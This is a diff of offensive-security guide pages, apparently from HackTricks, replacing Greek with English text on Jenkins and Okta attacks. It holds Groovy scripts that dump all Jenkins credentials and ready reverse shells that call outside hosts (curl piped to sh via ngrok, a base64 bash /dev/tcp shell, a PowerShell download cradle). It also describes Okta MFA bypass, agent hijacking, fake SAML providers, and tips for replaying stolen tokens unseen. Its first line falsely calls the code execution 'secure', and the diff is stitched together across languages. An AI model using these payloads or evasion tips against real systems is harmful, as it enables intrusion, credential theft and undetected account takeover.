The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -3,9 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Σημειώστε ότι αυτά τα σενάρια θα καταγράψουν μόνο τα μυστικά μέσα στο αρχείο `credentials.xml`, αλλά τα **αρχεία διαμόρφωσης κατασκευής** μπορεί επίσης να έχουν **περισσότερα διαπιστευτήρια**.
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
Μπορείτε να **καταγράψετε όλα τα μυστικά από την κονσόλα Groovy Script** στο `/script` εκτελώντας αυτόν τον κώδικα
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
return
```
#### ή αυτός:
#### or this one:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,37 +1,42 @@
# Jenkins RCE Δημιουργία/Τροποποίηση Pipeline
# Jenkins RCE Creating/Modifying Pipeline
{{#include ../../banners/hacktricks-training.md}}
## Δημιουργία νέου Pipeline
## Creating a new Pipeline
Στο "New Item" (προσβάσιμο στο `/view/all/newJob`) επιλέξτε **Pipeline:**
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
![](<../../images/image (235).png>)
Στην **ενότητα Pipeline** γράψτε το **reverse shell**:
In the **Pipeline section** write the **reverse shell**:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Τέλος, κάντε κλικ στο **Save** και **Build Now** και η ροή εργασίας θα εκτελεστεί:
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
![](<../../images/image (228).png>)
## Τροποποίηση μιας Ροής Εργασίας
## Modifying a Pipeline
Αν μπορείτε να αποκτήσετε πρόσβαση στο αρχείο ρύθμισης της ροής εργασίας που έχει ρυθμιστεί, μπορείτε απλά να **το τροποποιήσετε προσθέτοντας το reverse shell σας** και στη συνέχεια να το εκτελέσετε ή να περιμένετε μέχρι να εκτελεστεί.
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,36 +1,39 @@
# Jenkins RCE Δημιουργία/Τροποποίηση Έργου
# Jenkins RCE Creating/Modifying Project
{{#include ../../banners/hacktricks-training.md}}
## Δημιουργία Έργου
## Creating a Project
Αυτή η μέθοδος είναι πολύ θορυβώδης γιατί πρέπει να δημιουργήσετε ένα εντελώς νέο έργο (προφανώς αυτό θα λειτουργήσει μόνο αν ο χρήστης σας επιτρέπεται να δημιουργήσει ένα νέο έργο).
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
1. **Δημιουργήστε ένα νέο έργο** (Freestyle project) κάνοντας κλικ στο "New Item" ή στο `/view/all/newJob`
2. Μέσα στην ενότητα **Build** ρυθμίστε **Execute shell** και επικολλήστε έναν εκκινητή powershell Empire ή έναν powershell meterpreter (μπορεί να αποκτηθεί χρησιμοποιώντας _unicorn_). Ξεκινήστε το payload με _PowerShell.exe_ αντί για _powershell._
3. Κάντε κλικ στο **Build now**
1. Αν το κουμπί **Build now** δεν εμφανίζεται, μπορείτε να πάτε στο **configure** --> **Build Triggers** --> `Build periodically` και να ρυθμίσετε ένα cron `* * * * *`
2. Αντί να χρησιμοποιήσετε cron, μπορείτε να χρησιμοποιήσετε τη ρύθμιση "**Trigger builds remotely**" όπου απλά χρειάζεται να ορίσετε το όνομα του api token για να ενεργοποιήσετε τη δουλειά. Στη συνέχεια, πηγαίνετε στο προφίλ χρήστη σας και **δημιουργήστε ένα API token** (καλέστε αυτό το API token όπως καλέσατε το api token για να ενεργοποιήσετε τη δουλειά). Τέλος, ενεργοποιήστε τη δουλειά με: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Τροποποίηση Έργου
## Modifying a Project
Πηγαίνετε στα έργα και ελέγξτε **αν μπορείτε να ρυθμίσετε οποιοδήποτε** από αυτά (αναζητήστε το κουμπί "Configure"):
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
![](<../../images/image (265).png>)
Αν **δεν μπορείτε** να δείτε κανένα **κουμπί ρύθμισης** τότε **δεν μπορείτε** να **το ρυθμίσετε** πιθανώς (αλλά ελέγξτε όλα τα έργα καθώς μπορεί να μπορείτε να ρυθμίσετε κάποια από αυτά και όχι άλλα).
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
Ή **δοκιμάστε να αποκτήσετε πρόσβαση στο μονοπάτι** `/job/<proj-name>/configure` ή `/me/my-views/view/all/job/<proj-name>/configure` \_\_ σε κάθε έργο (παράδειγμα: `/job/Project0/configure` ή `/me/my-views/view/all/job/Project0/configure`).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
## Εκτέλεση
## Execution
Αν σας επιτρέπεται να ρυθμίσετε το έργο μπορείτε να **το κάνετε να εκτελεί εντολές όταν μια κατασκευή είναι επιτυχής**:
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
![](<../../images/image (98).png>)
Κάντε κλικ στο **Save** και **build** το έργο και η **εντολή σας θα εκτελείται**.\
Αν δεν εκτελείτε μια αντίστροφη θήκη αλλά μια απλή εντολή μπορείτε να **δείτε την έξοδο της εντολής μέσα στην έξοδο της κατασκευής**.
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,24 +1,27 @@
# Jenkins RCE με Groovy Script
# Jenkins RCE with Groovy Script
{{#include ../../banners/hacktricks-training.md}}
## Jenkins RCE με Groovy Script
## Jenkins RCE with Groovy Script
Αυτό είναι λιγότερο θορυβώδες από το να δημιουργήσεις ένα νέο έργο στο Jenkins
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
1. Πήγαινε στο _path_jenkins/script_
2. Μέσα στο πλαίσιο κειμένου εισάγεις το σενάριο
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Μπορείτε να εκτελέσετε μια εντολή χρησιμοποιώντας: `cmd.exe /c dir`
Στο **linux** μπορείτε να κάνετε: **`"ls /".execute().text`**
You could execute a command using: `cmd.exe /c dir`
Αν χρειαστεί να χρησιμοποιήσετε _εισαγωγικά_ και _μονά εισαγωγικά_ μέσα στο κείμενο. Μπορείτε να χρησιμοποιήσετε _"""PAYLOAD"""_ (τριπλά διπλά εισαγωγικά) για να εκτελέσετε το payload.
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
**Ένα άλλο χρήσιμο groovy script** είναι (αντικαταστήστε \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Αντίστροφη θήκη σε linux
### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in windows
Μπορείτε να προετοιμάσετε έναν HTTP server με ένα PS reverse shell και να χρησιμοποιήσετε το Jeking για να το κατεβάσετε και να το εκτελέσετε:
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Script
Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [**αυτό το σενάριο**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
Μπορείτε να χρησιμοποιήσετε το MSF για να αποκτήσετε ένα reverse shell:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,60 +4,60 @@
## Basic Information
[Okta, Inc.](https://www.okta.com/) αναγνωρίζεται στον τομέα της διαχείρισης ταυτοτήτων και πρόσβασης για τις λύσεις λογισμικού που βασίζονται στο cloud. Αυτές οι λύσεις έχουν σχεδιαστεί για να απλοποιούν και να ασφαλίζουν την αυθεντικοποίηση χρηστών σε διάφορες σύγχρονες εφαρμογές. Απευθύνονται όχι μόνο σε εταιρείες που επιδιώκουν να προστατεύσουν τα ευαίσθητα δεδομένα τους, αλλά και σε προγραμματιστές που ενδιαφέρονται να ενσωματώσουν ελέγχους ταυτότητας σε εφαρμογές, διαδικτυακές υπηρεσίες και συσκευές.
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
Η ναυαρχίδα προσφοράς της Okta είναι το **Okta Identity Cloud**. Αυτή η πλατφόρμα περιλαμβάνει μια σουίτα προϊόντων, συμπεριλαμβανομένων αλλά όχι περιορισμένων σε:
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
- **Single Sign-On (SSO)**: Απλοποιεί την πρόσβαση χρηστών επιτρέποντας ένα σύνολο διαπιστευτηρίων σύνδεσης σε πολλές εφαρμογές.
- **Multi-Factor Authentication (MFA)**: Ενισχύει την ασφάλεια απαιτώντας πολλαπλές μορφές επαλήθευσης.
- **Lifecycle Management**: Αυτοματοποιεί τη διαδικασία δημιουργίας, ενημέρωσης και απενεργοποίησης λογαριασμών χρηστών.
- **Universal Directory**: Επιτρέπει την κεντρική διαχείριση χρηστών, ομάδων και συσκευών.
- **API Access Management**: Ασφαλίζει και διαχειρίζεται την πρόσβαση σε APIs.
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
- **Universal Directory**: Enables centralized management of users, groups, and devices.
- **API Access Management**: Secures and manages access to APIs.
Αυτές οι υπηρεσίες στοχεύουν συλλογικά στην ενίσχυση της προστασίας δεδομένων και στην απλοποίηση της πρόσβασης χρηστών, βελτιώνοντας τόσο την ασφάλεια όσο και την ευχρηστία. Η ευελιξία των λύσεων της Okta τις καθιστά δημοφιλή επιλογή σε διάφορες βιομηχανίες, ωφέλιμες για μεγάλες επιχειρήσεις, μικρές εταιρείες και μεμονωμένους προγραμματιστές. Από την τελευταία ενημέρωση τον Σεπτέμβριο του 2021, η Okta αναγνωρίζεται ως μια εξέχουσα οντότητα στον τομέα της Διαχείρισης Ταυτοτήτων και Πρόσβασης (IAM).
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
> [!CAUTION]
> Ο κύριος στόχος της Okta είναι να ρυθμίσει την πρόσβαση σε διαφορετικούς χρήστες και ομάδες σε εξωτερικές εφαρμογές. Εάν καταφέρετε να **συμβιβάσετε τα δικαιώματα διαχειριστή σε ένα περιβάλλον Okta**, είναι πολύ πιθανό να μπορέσετε να **συμβιβάσετε όλες τις άλλες πλατφόρμες που χρησιμοποιεί η εταιρεία**.
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
> [!TIP]
> Για να εκτελέσετε μια ανασκόπηση ασφάλειας ενός περιβάλλοντος Okta, θα πρέπει να ζητήσετε **μόνο ανάγνωση δικαιωμάτων διαχειριστή**.
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
### Summary
Υπάρχουν **χρήστες** (οι οποίοι μπορούν να είναι **αποθηκευμένοι στην Okta,** συνδεδεμένοι από ρυθμισμένους **Πάροχους Ταυτοτήτων** ή αυθεντικοποιημένοι μέσω **Active Directory** ή LDAP).\
Αυτοί οι χρήστες μπορούν να είναι μέσα σε **ομάδες**.\
Υπάρχουν επίσης **αυθεντικοποιητές**: διαφορετικές επιλογές για αυθεντικοποίηση όπως κωδικός πρόσβασης και διάφορες 2FA όπως WebAuthn, email, τηλέφωνο, okta verify (μπορεί να είναι ενεργοποιημένα ή απενεργοποιημένα)...
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
These users can be inside **groups**.\
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
Στη συνέχεια, υπάρχουν **εφαρμογές** συγχρονισμένες με την Okta. Κάθε εφαρμογή θα έχει κάποια **χαρτογράφηση με την Okta** για να μοιράζεται πληροφορίες (όπως διευθύνσεις email, ονόματα...). Επιπλέον, κάθε εφαρμογή πρέπει να είναι μέσα σε μια **Πολιτική Αυθεντικοποίησης**, η οποία υποδεικνύει τους **απαραίτητους αυθεντικοποιητές** για έναν χρήστη να **πρόσβαση** στην εφαρμογή.
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
> [!CAUTION]
> Ο πιο ισχυρός ρόλος είναι ο **Super Administrator**.
> The most powerful role is **Super Administrator**.
>
> Εάν ένας επιτιθέμενος συμβιβάσει την Okta με πρόσβαση διαχειριστή, όλες οι **εφαρμογές που εμπιστεύονται την Okta** θα είναι πολύ πιθανό να **συμβιβαστούν**.
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
## Attacks
### Locating Okta Portal
Συνήθως η πύλη μιας εταιρείας θα βρίσκεται στο **companyname.okta.com**. Αν όχι, δοκιμάστε απλές **παραλλαγές** του **companyname.** Αν δεν μπορείτε να το βρείτε, είναι επίσης πιθανό ότι ο οργανισμός έχει μια **CNAME** εγγραφή όπως **`okta.companyname.com`** που δείχνει στην **πύλη Okta**.
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
### Login in Okta via Kerberos
Εάν **`companyname.kerberos.okta.com`** είναι ενεργό, **το Kerberos χρησιμοποιείται για την πρόσβαση στην Okta**, παρακάμπτοντας συνήθως το **MFA** για τους χρήστες **Windows**. Για να βρείτε τους χρήστες Okta που έχουν αυθεντικοποιηθεί μέσω Kerberos στο AD, εκτελέστε **`getST.py`** με **κατάλληλες παραμέτρους**. Αφού αποκτήσετε ένα **εισιτήριο χρήστη AD**, **εισάγετέ** το σε έναν ελεγχόμενο υπολογιστή χρησιμοποιώντας εργαλεία όπως Rubeus ή Mimikatz, διασφαλίζοντας ότι **`clientname.kerberos.okta.com` είναι στη ζώνη "Intranet" των Επιλογών Internet**. Η πρόσβαση σε μια συγκεκριμένη διεύθυνση URL θα πρέπει να επιστρέψει μια JSON "OK" απάντηση, υποδεικνύοντας την αποδοχή του εισιτηρίου Kerberos και παρέχοντας πρόσβαση στον πίνακα ελέγχου της Okta.
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
Η συμβιβασμός του **λογαριασμού υπηρεσίας Okta με το SPN αντιπροσώπευσης επιτρέπει μια επίθεση Silver Ticket.** Ωστόσο, η χρήση του **AES** από την Okta για την κρυπτογράφηση εισιτηρίων απαιτεί την κατοχή του κλειδιού AES ή του κωδικού πρόσβασης σε απλή μορφή. Χρησιμοποιήστε **`ticketer.py` για να δημιουργήσετε ένα εισιτήριο για τον θύμα χρήστη** και παραδώστε το μέσω του προγράμματος περιήγησης για να αυθεντικοποιηθείτε με την Okta.
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
Αυτή η τεχνική περιλαμβάνει **την πρόσβαση στον Okta AD Agent σε έναν διακομιστή**, ο οποίος **συγχρονίζει χρήστες και χειρίζεται την αυθεντικοποίηση**. Εξετάζοντας και αποκρυπτογραφώντας τις ρυθμίσεις στο **`OktaAgentService.exe.config`**, ιδίως το AgentToken χρησιμοποιώντας **DPAPI**, ένας επιτιθέμενος μπορεί δυνητικά να **παρακολουθήσει και να χειριστεί δεδομένα αυθεντικοποίησης**. Αυτό επιτρέπει όχι μόνο **παρακολούθηση** και **καταγραφή διαπιστευτηρίων χρηστών** σε απλή μορφή κατά τη διαδικασία αυθεντικοποίησης της Okta, αλλά και **αντίκτυπο σε προσπάθειες αυθεντικοποίησης**, επιτρέποντας έτσι μη εξουσιοδοτημένη πρόσβαση ή παρέχοντας καθολική αυθεντικοποίηση μέσω της Okta (παρόμοια με ένα 'κλειδί σκελετού').
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD As an Admin
Αυτή η τεχνική περιλαμβάνει την κατάληψη ενός Okta AD Agent αποκτώντας πρώτα έναν OAuth Code, στη συνέχεια ζητώντας ένα API token. Το token σχετίζεται με έναν τομέα AD, και ένας **σύνδεσμος ονομάζεται για να δημιουργήσει έναν ψεύτικο AD agent**. Η αρχικοποίηση επιτρέπει στον πράκτορα να **επεξεργάζεται τις προσπάθειες αυθεντικοποίησης**, καταγράφοντας διαπιστευτήρια μέσω του API της Okta. Διαθέσιμα εργαλεία αυτοματοποίησης διευκολύνουν αυτή τη διαδικασία, προσφέροντας μια ομαλή μέθοδο για την παρακολούθηση και την επεξεργασία δεδομένων αυθεντικοποίησης εντός του περιβάλλοντος Okta.
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
@@ -65,42 +65,42 @@
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
Η τεχνική περιλαμβάνει **την ανάπτυξη ενός ψεύτικου παρόχου SAML**. Ενσωματώνοντας έναν εξωτερικό Πάροχο Ταυτοτήτων (IdP) στο πλαίσιο της Okta χρησιμοποιώντας έναν προνομιούχο λογαριασμό, οι επιτιθέμενοι μπορούν να **ελέγξουν τον IdP, εγκρίνοντας οποιοδήποτε αίτημα αυθεντικοποίησης κατά βούληση**. Η διαδικασία περιλαμβάνει τη ρύθμιση ενός SAML 2.0 IdP στην Okta, τη χειραγώγηση της διεύθυνσης URL Single Sign-On του IdP για ανακατεύθυνση μέσω του τοπικού αρχείου hosts, τη δημιουργία ενός αυτο-υπογεγραμμένου πιστοποιητικού και τη ρύθμιση των ρυθμίσεων της Okta ώστε να ταιριάζουν με το όνομα χρήστη ή το email. Η επιτυχής εκτέλεση αυτών των βημάτων επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης της Okta, παρακάμπτοντας την ανάγκη για διαπιστευτήρια ατομικών χρηστών, αυξάνοντας σημαντικά τον έλεγχο πρόσβασης με έναν δυνητικά απαρατήρητο τρόπο.
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
### Phishing Okta Portal with Evilgnix
Στο [**αυτό το blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) εξηγείται πώς να προετοιμάσετε μια καμπάνια phishing κατά μιας πύλης Okta.
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
### Colleague Impersonation Attack
Τα **χαρακτηριστικά που μπορεί να έχει και να τροποποιήσει κάθε χρήστης** (όπως email ή όνομα) μπορούν να ρυθμιστούν στην Okta. Εάν μια **εφαρμογή** εμπιστεύεται ως ID ένα **χαρακτηριστικό** που μπορεί να **τροποποιήσει** ο χρήστης, θα είναι σε θέση να **παριστάνει άλλους χρήστες σε αυτήν την πλατφόρμα**.
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
Επομένως, εάν η εφαρμογή εμπιστεύεται το πεδίο **`userName`**, πιθανότατα δεν θα μπορείτε να το αλλάξετε (διότι συνήθως δεν μπορείτε να αλλάξετε αυτό το πεδίο), αλλά αν εμπιστεύεται για παράδειγμα το **`primaryEmail`** μπορεί να είστε σε θέση να **το αλλάξετε σε μια διεύθυνση email συναδέλφου** και να το παριστάνετε (θα χρειαστεί να έχετε πρόσβαση στο email και να αποδεχθείτε την αλλαγή).
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
Σημειώστε ότι αυτή η παριστάνωση εξαρτάται από το πώς έχει ρυθμιστεί κάθε εφαρμογή. Μόνο αυτές που εμπιστεύονται το πεδίο που τροποποιήσατε και αποδέχονται ενημερώσεις θα συμβιβαστούν.\
Επομένως, η εφαρμογή θα πρέπει να έχει αυτό το πεδίο ενεργοποιημένο αν υπάρχει:
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
Therefore, the app should have this field enabled if it exists:
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
Έχω επίσης δει άλλες εφαρμογές που ήταν ευάλωτες αλλά δεν είχαν αυτό το πεδίο στις ρυθμίσεις της Okta (στο τέλος διαφορετικές εφαρμογές ρυθμίζονται διαφορετικά).
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
Ο καλύτερος τρόπος για να διαπιστώσετε αν μπορείτε να παριστάνετε οποιονδήποτε σε κάθε εφαρμογή θα ήταν να το δοκιμάσετε!
The best way to find out if you could impersonate anyone on each app would be to try it!
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
Οι πολιτικές ανίχνευσης συμπεριφοράς στην Okta μπορεί να είναι άγνωστες μέχρι να συναντηθούν, αλλά η **παράκαμψη** τους μπορεί να επιτευχθεί στοχεύοντας απευθείας τις εφαρμογές Okta, αποφεύγοντας τον κύριο πίνακα ελέγχου της Okta. Με ένα **token πρόσβασης Okta**, επαναπαίξτε το token στη **διεύθυνση URL συγκεκριμένης εφαρμογής Okta** αντί για την κύρια σελίδα σύνδεσης.
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
Οι βασικές συστάσεις περιλαμβάνουν:
Key recommendations include:
- **Αποφύγετε τη χρήση** δημοφιλών ανωνυμοποιητικών proxy και υπηρεσιών VPN κατά την επαναπαραγωγή καταγεγραμμένων tokens πρόσβασης.
- Διασφαλίστε **συνεπείς συμβολοσειρές user-agent** μεταξύ του πελάτη και των επαναπαραγμένων tokens πρόσβασης.
- **Αποφύγετε την επαναπαραγωγή** tokens από διαφορετικούς χρήστες από την ίδια διεύθυνση IP.
- Να είστε προσεκτικοί όταν επαναπαράγετε tokens κατά του πίνακα ελέγχου της Okta.
- Εάν γνωρίζετε τις διευθύνσεις IP της εταιρείας-θύματος, **περιορίστε την κίνηση** σε αυτές τις IP ή την περιοχή τους, αποκλείοντας όλη την άλλη κίνηση.
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
- **Refrain from replaying** tokens from different users from the same IP address.
- Exercise caution when replaying tokens against the Okta dashboard.
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
## Okta Hardening
Η Okta έχει πολλές δυνατές ρυθμίσεις, σε αυτή τη σελίδα θα βρείτε πώς να τις ελέγξετε ώστε να είναι όσο το δυνατόν πιο ασφαλείς:
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
{{#ref}}
okta-hardening.md
@@ -112,3 +112,6 @@ okta-hardening.md
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,72 +6,72 @@
### People
Από την οπτική γωνία ενός επιτιθέμενου, αυτό είναι πολύ ενδιαφέρον καθώς θα μπορείτε να δείτε **όλους τους εγγεγραμμένους χρήστες**, τις **διευθύνσεις email** τους, τις **ομάδες** στις οποίες ανήκουν, **προφίλ** και ακόμη και **συσκευές** (κινητά μαζί με τα λειτουργικά τους συστήματα).
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
